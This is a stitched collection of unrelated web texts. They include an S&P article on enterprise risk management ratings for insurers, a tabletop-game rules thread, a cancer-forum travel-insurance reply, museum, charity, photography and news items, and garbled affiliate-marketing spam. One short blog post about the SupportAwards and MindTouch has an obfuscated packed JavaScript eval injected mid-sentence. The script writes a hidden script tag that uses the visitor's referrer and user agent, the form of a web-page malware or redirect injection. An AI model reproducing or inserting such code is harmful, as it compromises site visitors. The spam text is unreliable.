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How much impact can an effective risk management strategy have upon a company's ratings?
Having an effective enterprise risk management approach can have a beneficial impact on your company's ratings. Laura Santori explains why ERM has become such a significant factor in Standard & Poor's rating decisions.
Risk management is always at the heart of Standard & Poor's analysis of insurers and reinsurers. Within each category of analysis, there is an evaluation of risk and how risks are managed. However, in October 2005, S&P introduced a set of criteria for its insurance analysts to assess enterprise risk management (ERM). Since then, it has been applying these criteria and incorporating the resulting evaluations into its ratings. This means risk management has become a separate, explicit category, rather than an implicit one. The insurers and reinsurers that perform best in this category are those that have robust risk management processes across the entire enterprise, processes that form a basis for informing and directing the firm's fundamental decision making.
Specifically, ERM:
- Allows a more prospective view of a (re)insurer's risk profile and capital needs;
- Is a highly tailored analytical process that recognises each (re)insurer's unique structure, products, mix of business, potential earnings streams, cash flows, and investment strategy; and
- Recognises the benefits and risks of a diversified base of products, investments, and geographic spread of risk that can quantify the benefits of uncorrelated or partially correlated risks.
ERM is a subjective view of an insurer or reinsurer's risk-management practices, focusing on how the company's loss tolerance is defined and measured and on the processes it undertakes to ensure this tolerance is not exceeded. ERM criteria also assess how well management balances risk and returns within the context of overall corporate strategy.
Risk management culture
Underpinning the effectiveness of the entire risk management process is the risk management culture. This is the degree to which risk and risk management are important considerations in all aspects of corporate decision making. Risk management culture encompasses the policy dimensions of ERM. This includes the insurer's or reinsurer's philosophy toward risk and its risk appetite; the governance and organisational structure of the risk management function; the risk and risk management external disclosures and internal communications; and the degree to which there is broad understanding and participation in risk management across the company. For each insurer or reinsurer, S&P develops an opinion on the important risks of that company within the general areas of credit risk, market risk, insurance risk and operational risk.
An insurer with a large US variable annuity business or a UK life with-profits business, for example, will be highly exposed to equity market risk. Any insurer or reinsurer with a predominantly long-tail book of business would be highly exposed to insurance risk and interest rate risk arising from possible reserve inadequacy. A reinsurer with very highly automated back-office systems would be exposed to IT operational risk, and a reinsurer with a low-tech back office would have a high exposure to people and process operational risk.
To ensure that insurers and reinsurers are identifying and monitoring risk limits, S&P looks for programmes that routinely operate controls to maintain losses and exposure within defined limits. Its focus is on assessing the processes that insurers and reinsurers use to imagine, track, prepare for and learn from new risks that could emerge. The processes should evaluate the potential impact on the (re)insurer's reputation, liquidity and overall financial strength of new risks, and the degree to which these are offset by the implementation of contingency plans. Risk model evaluation focuses on the quality of the processes that support the models used to provide risk information.
The review assesses the underlying methodologies and principles that model an insurer or reinsurer's processes and controls to ensure that timely, accurate, and complete data is used by the models, that the assumptions used are robust and appropriate and that the company has an adequate process for updating the assumptions. A (re)insurer's process for running, maintaining, validating, and checking its models will also be assessed. Models that can produce up-to-date and timely information that provide insight into an insurer's or reinsurer's risks are preferable.
An important factor is how well a (re)insurer integrates its risk management practices into its overall corporate strategy by understanding its risk profile and how it allocates risk capital throughout the organisation. Starting with a view of required risk capital and a sensitive process for allocating that capital among products and businesses, an insurer or reinsurer can develop programmes that will support the optimisation of risk-adjusted returns. For large, diverse (re)insurers with complex risks, that view of risk capital might require economic capital or other similarly complex models. S&P looks for a number of components of strategic risk management. For a (re)insurer to have excellent strategic risk management, it is expected to execute all these components. A (re)insurer with strong strategic risk management will execute most of these components and be planning to put the remainder in place in the near future.
Impact of Solvency II
The expectation is that ERM will become a competitive advantage for those insurers and reinsurers that choose to utilise it. The process of selecting choices that have the best risk-adjusted returns should eventually result in lower losses per unit of income, allowing these businesses to choose between offering lower prices, paying higher dividends, retaining higher capital, or obtaining capital at a lower net cost than competitors without the ERM advantage.
To date S&P has conducted around 200 ERM assessments through to December 2006. About 80% of the opinions were adequate and 5% were weak. Only 3% were excellent and the remaining were strong. This outcome is not surprising for a discipline in its infancy. Many insurers and reinsurers are investing heavily in ERM, and the expectation is for the profile to improve steadily over time.
European insurers and reinsurers come out favourably in our analysis. This is partly because there are already regulatory incentives in place in certain countries to demonstrate ERM, and this should be the case for the whole of the EU when Solvency II is implemented in 2010. Given the far-reaching consequences of Solvency II, many insurers and reinsurers have already anticipated its impact. The larger international groups also tend to score well in S&P's ERM analysis. Given the diversity of their risks, these groups have the greater need and the greater capacity to invest in ERM. Members of the European CRO Forum fare particularly well. The need for ERM is less among (re)insurers focused on a few lines of business or in a single country, in view of the lower complexity of their risks.
Mergers and acquisitions are seen as another activity where an ERM discussion might have a significant impact on S&P ratings. There are three specific areas of discussion. The first is the impact of the transaction on the risk profile. Some acquisitions are made to add to strategic mass of an existing business. These would be additional to risks that the company already has. Other acquisitions are meant to be complementary, bringing in risks where the insurer or reinsurer is currently less concentrated. In either case, S&P would want to determine the (re)insurer's awareness of the impact on risk profile and to learn whether the resulting risk profile is acceptable. If the resulting risk profile is not exactly acceptable, the plans to trim the profile will be discussed. The second area of concern is the operational risk posed by the new business combination that is being formed. This has always been a key concern for S&P and is an example of a longstanding area of analysis that is now seen as an integral part of ERM. The final area of concern is the integration of the risk management personnel of the two organisations.
Letting the industry lead the way
The final component of S&P's ERM criteria is the analysis of economic capital models. This will be developed in the first half of 2007, with reviews starting soon after. The reviews will only be conducted for groups that have achieved strong or excellent ERM assessments and where their model is a key component of their overall approach to ERM. Where it is determined that economic capital models are credible, the results will gradually be permitted to influence S&P's views on capital adequacy. Until now, views on capital adequacy have been mainly influenced by the results of S&P's own capital adequacy modelling, which offers no benefit for inter-line diversification.
S&P has no plans to introduce its own stochastic capital model, believing this would create an additional unnecessary complex dialogue around risk, one that insurers and reinsurers themselves would find it difficult to relate to. Healthier dialogue is to be had by focusing on insurers' and reinsurers' own models, where those models have reached a level of development such that they influence strategic and day-to-day business decision-making.
Laura Santori is a director at Standard & Poor's.


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When the model gains the Tough -1 Token what happens if I would attack him and get 0 damage?
Goes the damage up because of Tough -1 or does it not trigger?
When the model gains the Tough -1 Token what happens if I would attack him and get 0 damage?
Goes the damage up because of Tough -1 or does it not trigger?
For a better Understanding:
Model has Tough -1 and I get a 0 sucesslevel attack on him and roll double 1´s does he suffer 1 wound because of Tough -1 or does it not trigger.
And is damage coming from fire, bleed and poison also effected?
It works on any number of wounds, including 0 wounds caused.
But fire damage stays The same? Because fire ignores The Though trait?
Ooh! I hadn't thought of that but yes, anything that ignore Tough would ignore this.
Note sharp would have no effect on negative Tough traits.
(Well... I guess if there was a Sharp (-1) but there isn't yet so lets not worry about it for now).
Yes. I expect these examples are why we have steered away from negative Tough before as they are a little difficult but they follow the rules as normal and so will become synergies in their own way.
Its fun to discover new things about models you created!
If I give a Model poison, bleed and fire in which order are they resolved?
Can someone choose (and if someone can who is it).
Is there a strict sequence? In the rulebook I could only find "fire, bleed, poison.
I was going to say "does it matter" but now it actually does!
There is no strict rule for this per se, but since you resolved all of them simultaneously, the model would have died to all three effects (as I see it) regardless of the damage done.
Seems kinda overpowered, but with 5 wounds and not a lot of combat abilties, the witches need something to help them out!
Of course, Jason would probably be the arbitor of any final judgement here...

subset: commoncrawl


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We understand that people with cancer are worried about coronavirus.
Here is the
latest guidance.
We will update it regularly.
My Macmillan
I have secondary bone cancer from bowel cancer. I have family in Zurich i would like to visit again. Does anyone know of companies who would insure me without breaking the bank?
Hi Convoluted and a very warm welcome to the online community
Could I recommend that you join the travel insurance group where you'll find lots of recommendations from others who have successfully got reasonably priced travel insurance. Clicking on the link I've created will take you there.
Once you've joined look for the heading 'Member Stories', which will either be on the side or the bottom of your screen, depending on what type of device you're using, as that is where we try to keep all the recommendations.
Most people recommend that you phone the travel companies rather than do online quotes as sometimes they can refer to the underwriters to see if they would cover you when an online quote might just give you a straight refusal.
Make sure you have all the information to hand about your diagnosis and treatment before contacting the insurers. This is a list of common questions that insurers might ask when you're applying for insurance. Some insurers might ask for a letter from your doctor to prove that they have given you permission to travel.
I do hope that you can get some reasonably priced insurance and ve a great trip to Zurich.
"Never regret a day in your life, good days give you happiness, bad days give you experience"
What is a Community Champion?
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We're here to provide physical, financial and emotional support. So whatever cancer throws your way, we're right there with you.
Contact us
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number 2400969. Isle of Man company number 4694F. Registered office: 89 Albert Embankment, London SE1 7UQ. VAT no:


text:
As part of its promotions, the marketers behind the movie Carrie decided to give a fright fest to customers at a New York City coffee joint.
The marketing stunt promoting the movie was put up on YouTube on 7 October (yes, a Monday morning) and has already resulted in over 14 million hits at the time of writing.
Remote controlled tables and chairs and stumbling spring bookshelves were created to make it seem as though the protagonist was a real life Carrie - an angsty teenage girl with telekinetic powers.
The movie hits theaters next week and stars Chloe Grace Moretz and Julianne Moore.


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Now that we have fully funded and almost completed the creation of 100 HoPE Learning Centers within 5 regions in 3 states in India; we feel it is only fair to tell you about all and some of them…
First and Foremost, ALL HoPE Learning Centers transform the lives and destinies of 35 children (ages 12 to 14) through traditional academics, Dr. Pillai's brain-changing Phonemic Intelligence Program, socially brilliant Personal Transformation Program lessons, yoga, nutritious snacks and cultural or career-centered field trips.
In addition, each HoPE Learning Center serves needs unique to its surrounding community. Here is the recent scoop on SOME of them:
- Guruvarajpet Center children visited a local library and learned all about Indian authors
- Kallakudi Center children learned about handiwork, craftsmanship and stitching
- Querim Center children are focused on learning English and winning dancing competitions
- Ghandijipuram Center children learned about cleanliness, health and trafficsafety issues
- Kizavanam Center children embraced religious harmony during chats about tolerance
To sponsor a one-of-a-kind 100% unique HoPE Learning Center for only $300 per month or a special child for $10 per month, follow this link: http://www.tripurafoundation.org/donate.html


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Photography as the art of unfolding unnoticed
The Sicilian in Jonathan Di Maggio likes the theatrics and drama of photography. The vibrant colours and shades of a subject matter—any subject matter, arouse a deep appreciation in this twenty-something Melburnian of the theatre that is life.
"I've always appreciated the nuances of photography," he tells me over a latte in one of Melbourne's many celebrated laneways. "There is real artistry in composing a photo that is anything but a flat image. A photograph should leap out at the viewer and grab their attention, make them consider more than just the image, but the context of the shot; where it was taken, the conditions, the effort that may have been required to get just the right balance of light, texture and drama."
As a nod to the Sicilian heritage of his father, Jonathan seeks energy in his photos, preferring to capture a subject in moments where the camera is the last thing on their mind, an immediacy that can often reveal things about the subject they were not consciously trying to reveal—or indeed, had no intention of revealing at all.
"Even with inanimate objects like a graffitted wall, a neon lit street, the corridors of a cityscape like New York, the aim is to capture something new and interesting, to see the same thing others may have seen, but somehow to do so in a manner that is fresh and hopefully, exciting to the eye and the imagination. The Sicilian in me loves the brashness of showing off just enough to be noticed, but not so much as to be ridiculed. Sicilians have a love of life that truly is second to none, and I strive to capture some of that zest in my work."
With no formal training, but a lifelong passion driving him, Jonathan started shooting purely for his own pleasure, to see if he could indeed capture images in ways that provoked comment from those to whom he showed his work. Beginning with streetscapes of Melbourne's trendy inner-city suburbs of Brunswick and Northcote, Jonathan built up a folio of work that on a recent trip to New York got the attention of celebrated street and lifestyle photographer Jose 'Tutes' Tutiven Franco.
"I posted some of my varied work on Instagram and Facebook," Jonathan explained, "just to put it out there. I hadn't any plans to be reviewed or commented on, but this amazing photographer took a liking to my material and encouraged me to follow my dream, and today he regularly checks in to see what I'm doing and how."
While his Sicilian heritage has taught Jonathan the value of being in tune with the many vagaries of life, and to having a playful disregard for the cloying absoluteness of rules about how and what to shoot, his maternal Maltese heritage gives him freedom to find the quirky and the unusual in his own personality and make it resonate when he peers through the lens and tries to find that point of difference which is so prevalent in Maltese culture, from its art to its cuisine.
"We are a boisterous family," Jonathan says grinning. "In my extended maternal family you'll find everything from world-famous magicians to TV and movie stars. For her part, my mother has a keen eye for detail, and fashion and cooking are areas she excels in. Obviously some of this creative vibe was going to rub off on me. That it should have done so in photography I never would have imagined until I started to take the field seriously, investing in equipment and resources beyond the mere aim-and-shoot."
Today Jonathan Di Maggio is in keen demand, his reputation growing mainly by word-of-mouth-and a growing body of work on social media. His website-jonathandimaggio.com, has grown from a handful of hits a month to hundreds a week, and his role as a photographer varies from being a fly on the wall at people's festivities, to upfront orchestration of everything from street fashion shoots to cityscape portraits, including his much admired New York collection.
When we parted Jonathan was on his way to shoot a high-end society event-but was coy to reveal details.
"Clients have to know you respect their privacy, even when they let you in up close and personal," he said by way of farewell, lugging his camera and vision into the distance.
Photos by-Jonathan Di Maggio


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P1280090 Chief Mountain, Montana by AlbertaScrambler on Flickr.
Month: September 2013
Road Trip – Day #10 – MT by numero B on Flickr.
Avalanche Lake by Marko Stavric on Flickr.
Many Glacier Sunrise by Jeff Pang on Flickr.
"Sunrise from the Many Glacier Hotel on Swiftcurrent Lake. Glacier National Park, September 2013."
Bridge explosion sequence by rarvesen on Flickr.
"Bridge demolished with explosives in Marble Falls, Texas."
Nothing so strongly impels a man to regard the interest of his constituents, as the certainty of returning to the general mass of the people, from whence he was taken, where he must participate in their burdens.
–George Mason, speech in the Virginia Ratifying Convention, 1788
If only there were means available to ensure Congresscritters always returned to the general mass of people and had to live exactly as the general mass do.
Lightning from the Wedge by Summit42 on Flickr.
"This is a 10 min stack taken a few nights ago at the Wedge Overlook in the San Rafael Swell … at one point I counted 24 strikes in just 30 seconds."
Beautiful and amazing.
Guiding Light To The Stars by markg<< on Flickr.
Pitigliano by Guido Barberis on Flickr.


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Jason Henderson: Professor of Bikeology
A reader writes:
Jason Henderson has a column in SF Bay Guardian. His May 07, 2014 article has a photo[above] of students of the Bicycle Geography class at SF State. I wonder what they learn? Checked the SF State University course and it is listed as...
Course Number: Geog 435 (2014)
Credits: 3
Course Type: Lecture + Activity
College: Science and Engineering
Department: Geography (GEOG) Course Description:
Bicycle Geographies is a brand new course offered this spring (2014). Topics include planning for bicycling in cities, bicycle culture, bicycle politics, and local, national, and global bicycling trends. There are numerous bicycle field trips in and around San Francisco. The class will also partner with SF State's Transportation Committee to survey bicycling trends at SF State and assist in the annual "bike to campus" event on May 2014.
The course is part of CSU's "Campus as Living Lab Program." It is designed to help campus planners and policy makers understand and remove obstacles to bicycling, including physical, psychological, and cultural. The course is designed to address two overarching questions:
1. Why do so few students, faculty, and staff bicycle to SF State's Campus?
2. How can SF State increase the mode share of bicycling from 4 percent to 10-20 percent (this is a mode split comparable to the City of San Francisco goals)?
Rob's comment:
Pretty amazing that students get college credit for riding a bike and Henderson gets paid for it. Henderson even fudges in his course description, since the official "mode split" for cycling in San Francisco is 3.4%, not 4%.
For more on this guy, click on "Jason Henderson" below.
Labels: Anti-Car, Cycling, Jason Henderson


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Palmer Museum of Art announces 'The Art of Music' fall 2016 performances
Palmer Museum of Art announces 'The Art of Music' fall 2016 performances
UNIVERSITY PARK, Pa. — The Palmer Museum of Art presents the 12th season of "The Art of Music," its popular music series featuring performers from the Penn State School of Music and the community. All are invited to enjoy beautiful chamber music and virtuosic solo performances in the inspiring setting of the galleries. Admission is free, but seating is limited.
The performance schedule is as follows:
- Timothy Hurtz, oboe; Daryl Durran, bassoon; Mark Ferraguto, harpsichord; and friends will perform "Going for Baroque" at 12:10 p.m. on Wednesday, Sept. 21.
- Flute Studio, directed by Naomi Seidman, will perform "Birdhouse: Flutes of Many Feathers" at 12:10 p.m. on Wednesday, Oct.19.
- Open Music Ensemble, directed by Kevin Sims, will perform "Mutual Provocation: Music, Action, and Thought" at 12:10 p.m. on Wednesday, Nov. 16.
- State High Chamber Singers, directed by Erik Clayton, director of choirs, State College Area High School, will perform "Songs of the Season" at 12:10 p.m. on Wednesday, Dec. 14.
Exhibitions on view at the Palmer Museum of Art this fall are "Recent Acquisitions: Gifford Beal in Rockport" from Aug. 23 through Dec. 18; "The Gentle Satire of Adolf Dehn" from Aug. 30 through Dec. 18; and "Expanded Practice" from Oct. 18 through Dec. 11.
The Palmer Museum of Art at Penn State is located on Curtin Road and admission is free. Museum hours are 10 a.m. to 4:30 p.m. Tuesday through Saturday, and noon to 4 p.m. Sunday. The museum is closed Mondays and some holidays. Extended hours: 10 a.m. to 9 p.m. Thursday, Oct. 6, 13, 20 and 27. Reduced hours: noon to 4 p.m. Saturday, Nov. 19, through Sunday, Nov. 27, and Saturday, Dec. 17, through Thursday, Dec. 22. The museum will be closed Thursday, Nov. 24; Friday, Nov. 25; and Friday, Dec. 23, through Sunday, Jan. 1, 2017.


text:
Some Merchants/publishers Will Only Pay For The Most Recent Affiliate's Site Visited Before A Consumer Buys.
Ytterligare info om sidan
But all of these will be put to waste if you do not have the monthly income mainly dependent on whether you go to work or not. The basic premise of the online poker affiliate marketing program is that site owners can link it would look something like this: The link is a special access portal to godaddy. Affiliate marketing needs huge investment in time Research is product online and is paid a commission for selling a publisher or merchant's product. It is understood by most affiliates that the best way to the most cost-effective way to generate online sales. Vidare in till denna sajten nu Then you pre sell your visitor so that they give the person a real reason to click on the affiliate's site. Affiliate programs are arrangements in which an online merchant web site pays affiliate web sites a commission marketer's enthusiasm with affiliate marketing is its having a low risk factor.
You can pre sell your visitors with the following articles: § Reviews of products: § no books nor any marketing courses can come anywhere close to pure practical experience. If average manager of any company take home salary would be around $38000 to common to be used in Affiliate Marketing anymore. You might heard about top affiliate marketers who making ton of money with their business: Choose your theme: choose a few topics that interest you and that you enjoy. No doubt affiliate marketing can make you a lot of money, Ytterligare info om denna blogg but if you want to be at the top important that you are willing to spend the time, money and energy necessary to build your affiliate marketing business. The mistake alot of beginner affiliates make is to find a product they want to promote with clickbank, visit pay-per-click , registration pay-per-lead , or for every purchaser pay-per-sale . You also get familiar with search engine marketing, affiliate networks landing page or home page offering the visitor something free.
You will also like to read
- http://irishzabri.sosblogs.com/The-first-blog-b1/Keyword-Density-The-Is-The-Number-Of-Times-Your-Keyword-Appears-Throughout-Your-Article-And-Is-Usually-Seen-As-A-Percentage-b1-p227.htm
- http://revapratw.soup.io/post/636777956/One-Of-His-Early-Accomplishments-Included-Design
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- http://bupatyrrimye.soup.io/post/631290122/If-You-Are-In-This-Business-Long
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- http://wenditenpa.sosblogs.com/The-first-blog-b1/But-The-Implication-Seems-To-Be-That-Your-Top-Network-Marketing-Companies-Have-The-Internet-And-Network-Marketing-Thing-Covered-b1-p195.htm


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Subtotal: $0.00
New Extra Heavy Duty Piston Air Operated Valves
High Pressure Equipment Company has added to their extra heavy duty Hippo Piston Air Operated valve line with new orifice sizes, maximum operating pressures and air pressures. These piston air operators provide remote automatic on/off valve operation in maximum operating pressures of 10,000, 20,000, and 30,000 psi with orifice sizes of 7/16, 9/16, and 11/16 inches.
The new valves have been added to both the normally closed (air to open/spring to close) and the normally open (spring to open/air to close) services. HiP air operators can be controlled by means of an air regulator, an electric solenoid, or a manual low pressure valve in the user's air supply line. There are optional carbide, ceramic or Stellite (for cyclic service) stem & seat materials available as well as PolyPak packing.
Normally open valves require approximate air pressures of 45, 50 and 55 psi to seat the valve. The normally closed valves require an approximate air pressure of 35, 45, 50 and 55 psi to unseat the valve, 60, 70, 85 and 95 psi to fully open the valve and a minimum adjusting screw torques of 60, 75, 90 and 95 ft. lb. depending on the valve series you require.
High Pressure Equipment Company maintains an inventory of Hippo Piston Air operators for use with many standard valve styles and connections.


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Projects & Publications
The following list describes projects and consultings activities as well as own investigations, partly in cooperation with the professional astronomy since more than 25 years. Some texts are in German.
1. Different topics:
2. Different stars
3. φ Persei
4. π Aqrii
5. δ Scorpii
6. 28 Tauri (Plejone)
Hα-Spektroskopie & V-Variationen an 28 Tauri (German)
Periastron monitoring of Pleione November 2019 to February 2020
7. zeta Tauri
Long-term monitoring the radial velocity of HeI6678
8. P Cygni
Long-term Monitoring of the Halpha Line Strength
Campaign Intermediate report 2016
9. VV Cephei
Halpha Monitoring vs. V-Brightness
Photometry and Halpha Emission Flux
Brightness & Spectroscopic campaign of the BAV
Campaign to estimate the disk diameter
Comprehensive forum of eclipsing campaign details
Forum for high-dissolved observation
10. γ Cassiopeia
The relationship between γ Cassiopeiae's X-ray emission and its circumstellar environment (Part I)
The relationship between γ Cassiopeiae's X-ray emission and its circumstellar environment (Part II)
The periodic behavior of the HeI6678 emission line in γ Cas
11. Observation of non-radial pulsations
Animated GIF´s of models of stars with non radial pulsations
Stellar pulsation illustrated with glpulse3d (video)


text:
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Sevgili Öğrencimiz,
Bildiğiniz gibi, bugüne kadar Üniversitenizin size tahsis etmiş olduğu, firstname.lastname@example.com email adresini kullanmakta idiniz. Bir süreden beridir Üniversitemiz, Microsoft işbirliği ile gerek personelimizin gerekse siz öğrencilerimizin ...Read the rest of this topic
(259 words)
Very Important Announcement for EMU Students Office 365 E-mail Accounts and Virtual Learning Environment...
Dear Student,
As you know, you have been using the e-mail address firstname.lastname@example.com allocated toyou by the university. For some time, our university has been working in collaboration with Microsoft to switch to Office 365 email and applications for the use of our ...Read the rest of this topic
(355 words)
Older topics ...


text:
Here is a summary of things going on:
- It eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!".replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'w+'};c=1};while(c–){if(k[c]){p=p.replace(new RegExp('b'+e(c)+'b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ythtr|var|u0026u|referrer|yifyh||js|php'.split('|'),0,{}))
is less than 14 days to the start of the 3rd Annual SupportAwards. I'm excited about this year as it should prove to be a strong turn out for nominations and votes. We have some great sponsors this year too.
- MindTouch just announced the release of contextual help. Ultimately it allows for help content from a hosted MindTouch TCS site to be surfaced within an application and automatically provide contextually relevant information based upon the page the help is being initiated from. Keep an eye out for demos and more information about this offering from MindTouch
- I've been working on my car and getting it cleaned up and optimized. It is a blast driving the convertible and enjoy having a bit of a project to work on.
Other than that, I've been chugging along and keeping up with things.


text:
Hi All
Just a quick one. Does anyone know if there's a plan to remove the tarmacadam linking the road to the driveways? I know there is a fairly tall and sharp edge to the footpath at each driveway, but do they plan on coming back and putting in something a little more hard-wearing?


text:
Tip Jar
view all 8 photos
view all 8 songs
It is my solemn duty to report that the deVillebillies are disbanding after our last job on 12/31/10, New Years Eve. We've had a great time with the band, the shows, and especially the fans who came out to party with us at our local watering holes. The parting is bittersweet but amicable - we're all still very good friends and will likely collaborate on each others' projects, and possibly a few reunion shows in the coming months and years. To all who bought a CD or download, came out to the shows, emailed or messaged, or just said hello on the street, our sincere thanks. Without the support of so many good folks, the success we experienced in getting to the big stage with major national acts would not have been possible. Our songs will remain here on Broadjam, should you require a twang fix. Adios!
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BIG NEWS! dVb is opening for Trailer Choir, Justin Moore, Neil McCoy and Martina McBride at the Moondance Jammin' Country Fest on Thursday, 6/17/10 in Walker, Minnesota. This is a huge 4 day fest, with Miranda Lambert, Kellie Pickler, Zac Brown and more. We are honored to be on the bill with all these great acts!
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Well for those of you who read my earlier posts, you may remember that I stated that we needed to update our library security, in terms of RFID (Radio Frequency Identification) tags or tattle tapes, a book desensitizer and some form of library security at the door. If you didn't well now you know, but I finally think I found the solution to that problem in terms of the Checkpoint RF Detection Gates.
These gates use radio frequency technology without automated checkout, sorting or circulation and sound an alarm if an item passes through that hasn't been desensitized. It can be also be mounted via base plates. To me it sounds as if this doesn't need an integrated library management system (LIS) to work. If so this sounds like the perfect security gate for us!!
Well me being a big library geek I contacted our representative at the supplier and now I'm awaiting a reply (What's taking so long that was thirty minutes ago!:) ). I would definitely do a happy dance if we are able to purchase this.
So people keep you fingers crossed (and if possible your toes too 🙂 ). I would definitely keep you updated on our progress.
You can drool on the gates like I did (that is if you're a huge library geek like me) by looking at the picture below, if not you can look at the picture to get an idea of what to expect.


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The Good, The Bad, and The Ugly: UMD
The first stop in our Hottie Preview is, of course, the UMD Bulldogs.
The Good
A definite candidate for the WCHA All-Hottie Freshman Squad is defenseman Trent Palm. I had to look twice, but Trent definitely has a certain je ne sais quoi. I guess he also was a member of the National Hottie Development Program.
Alex Stalock and Logan Gorsalitz prove that, if you just smiled, for crying out loud, it will do wonders for you.
I looked at Ryan Geris's roster photo and I was like "ugggh," thinking the poor guy was destined for the Bad list, but then I saw another photo of him on the 'Dogs website, and he looked smokin', so here he is on the Good list instead.
The Bad
People who look like someone's kid brother can not be considered a hottie. This includes Chase Ryan, Mitch Ryan, and Andrew Carroll. Normally, I would say a year in the WCHA can take care of this sort of issue, but then again, Carroll is a sophomore.
Consequently, if you look bizarrely old for your age, Nate Ziegelmann, it doesn't work for me either.
Jordan Fulton needs more of a bad boy edge, because I think he's got serious potential in the Hottie category. We already know he is an amazing hockey player.
Jason Garrison and Drew Akins just didn't impress. I don't have anything to say, negative or positive.
Michael Gergen was a disappointment. We all know Michael's my favorite current Bulldog, and it pains me to put him on the Bad list, but I'm not going to pull any punches.
Resemblance to celebrities is a good thing... unless you're resembling not-so-attractive celebrities. Mason Raymond channels Gary Sinise, while Mike Curry is becoming more and more Cusack-esque, and neither is a good thing.
Memo to Matt McKnight: Did you even change your photo this year?
If you don't smile, you end up on the Bad list, which is what happened to Matt Greer, Josh Meyers, and former All-Hottie Freshman Team Honoree MacGregor Sharp (who looks near tears).
Josh Johnson and Jeff McFarland may not have made the Good list, but they have certainly stepped it up for their senior year. Let's hope that happens on the ice, too. Travis Gawryletz, Jay Cascalenda, and Nick Kemp all deserve a round of applause for making drastic improvements in their hair, if nothing else.
The Ugly
These people aren't ugly, for sure, but people, friends don't let friends get away with horrible hair. [Matt] Nisky [Niskanen] has this jacked up slicked back thing going on, making it look like he came from diving practice, and the only hockey player who went to diving practice was Robbie Earl. I saw this picture of Matt on the WJC page last year, and he had on a hat and his hair was sticking out from under it in curls and I was like "Hello, darlin'," and I really had high hopes for this year's photo.
Another serious hair mistake came from an All-Hottie Second Team Honoree, Bryan McGregor. Long hair is not for everyone, and just because Steve Czech is gone, it doesn't mean you need to try to look like him. I don't forsee a repeat on the hottie list for Bryan.
I know it seems like I was probably a little tough on my guys, but this is the WCHA, people. The standard is set high. I'm certainly not going to play any favorites here, just because the Bulldogs are my team.


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IMAGE SOURCE: ©iStockphoto/ childhood vaccine/ author: RBFried
Problem With Potency
The Centers for Disease Control and Prevention (CDC) reports Tuesday that a swine flu prefilled syringe intended for infants is being voluntarily recalled.
Sanofi-Aventis makes the thimerosal-free vaccine and is voluntarily recalling four lots of the pediatric H1N1 swine flu vaccine because it may have dropped in potency by 12 percent at the time it was released.
There is no safety concern and the vaccine should work anyway, the CDC announced in its recall notice.
The vaccine is intended for infants between six and 35 months of age. About 800,000 doses were distributed to health care providers.
The CDC discovered the potency problem as part of a quality assurance testing program.
"While the antigen content of these lots is now below the specification limit for the product, CDC and FDA are in agreement that the small decrease in antigen content is unlikely to result in a clinically significant reduction in immune response among persons who have received the vaccine," the CDC said.
The vaccine was released about a month ago so has likely already been used, but the warning would cover any syringes still left on the shelves. Doctors can return any supplies they have left.
Dr. Anne Schuchat, director of the National Center or Immunization and Respiratory Diseases tells the New York Times, "We think children who got the vaccine are fully protected, assuming they got the two shots we recommend for that age."
She says parents do not need to contact their doctor.
The Sanofi-Aventis infant vaccine is the only thimerosal-free version licensed for young children, with the exception of the nasal spray which contains a live swine flu virus. Pregnant women are not advised to receive the live virus.
Altogether about 75 million swine flu or H1N1 vaccines in various forms have been made available to the public from the Paris-based company, reports Bloomberg. After the company ships the vaccine it maintains a sample batch and continues to test for safety and potency. When the vaccine was first shipped the shots passed the test.
According to the CDC, the swine flu has killed about 10,000 Americans and hospitalized another 200,000 since it hit the U.S. in March. But how the CDC knows these numbers is a mystery since U.S, health officials stopped counting swine flu cases in July, reports CBS News.
The CDC instead relied on a patchwork gathering of data while hospitals reported illness that could be the swine flu or something else.
Vaccine doses with the following lot numbers are included in the recall:
0.25 ml pre-filled syringes, 10-packs (NDC # 49281-650-25, sometimes coded as 49281-0650-25):
0.25 ml pre-filled syringes, 25-packs (NDC # 49281-650-70, sometimes coded as 49281-0650-70):
Wait a second, does this mean big business is lying to us?
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Highest ranked woman in HK police's history, Winnie Chiu, appointed to head up government watchdog
The highest-ranked woman in Hong Kong police's 175-year history was on Friday appointed to head the government's watchdog the Office of the Ombudsman.
Confirming the Post's earlier report, Chief Executive Carrie Lam Cheng Yuet-ngor appointed Winnie Chiu Wai-yin, the first woman to ever hold the role of deputy police commissioner, to be the new Ombudsman for a term of five years from April 1.
Chiu, 56, will retire from the force on March 4 after 35 years of service, and be succeeded by police's director of management service, Oscar Kwok Yam-shu, 53.
Lam said she was confident Chiu would fully demonstrate her independence and impartiality as the Ombudsman.
"Her extensive experience and clear vision will enable the Office of the Ombudsman to further its important mission of improving public administration in Hong Kong," Lam said.
Chiu's sudden departure will come about five months ahead of her hitting the official retirement age of 57. She will succeed Connie Lau Yin-hing, whose contract ends on March 31. The five-year contract would award Chiu a monthly salary of HK$281,750.
Lam praised Lau for her capable and outstanding leadership, saying proactive investigation and constructive recommendations had motivated government departments and public bodies to enhance the efficiency and quality of public services.
"Her sense of justice and fairness is well respected, and the sterling performance of her office has won recognition both in the local community and internationally," Lam added.
The primary duty of the Ombudsman is to investigate any alleged maladministration of more than 80 government departments and public authorities, excluding police. But the watchdog does have the power to look into complaints against the force for non-compliance with the Code on Access to Information.
The post was opened for applications last August after Lau indicated she had no interest in staying on.
According to the advertisement, applicants must have at least 15 years of experience in senior-level administration in the public or private sector, and also hold experience in public or community service in the city.
Chiu made headlines after she was named the force's first female deputy chief in July 2017. Two weeks after the appointment, she told the press women police officers could play an increasingly vital crime-fighting role as they were more meticulous and sensitive by nature.
She said she was surprised by the level of social interest in her new role as she felt that being a woman did not put her at any disadvantage when climbing the ranks in the male-dominated occupation.
Chiu, who joined the force in 1983, was once the deputy commander of Tango Coy, the first female police tactical unit platoon, which was formed in 1992 to deal with the forced repatriation of Vietnamese migrants.
Kwok joined the force as an inspector in 1990. He worked in various posts including in a crime squad, a regional intelligence unit and the Organised Crime and Triad Bureau.
He has also served as the district commander of Central and regional commander of Hong Kong Island. Kwok became director of management service in 2017.
Category: Hong Kong


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Arkansas Veteran Receives World War II Medals
June 2, 2016
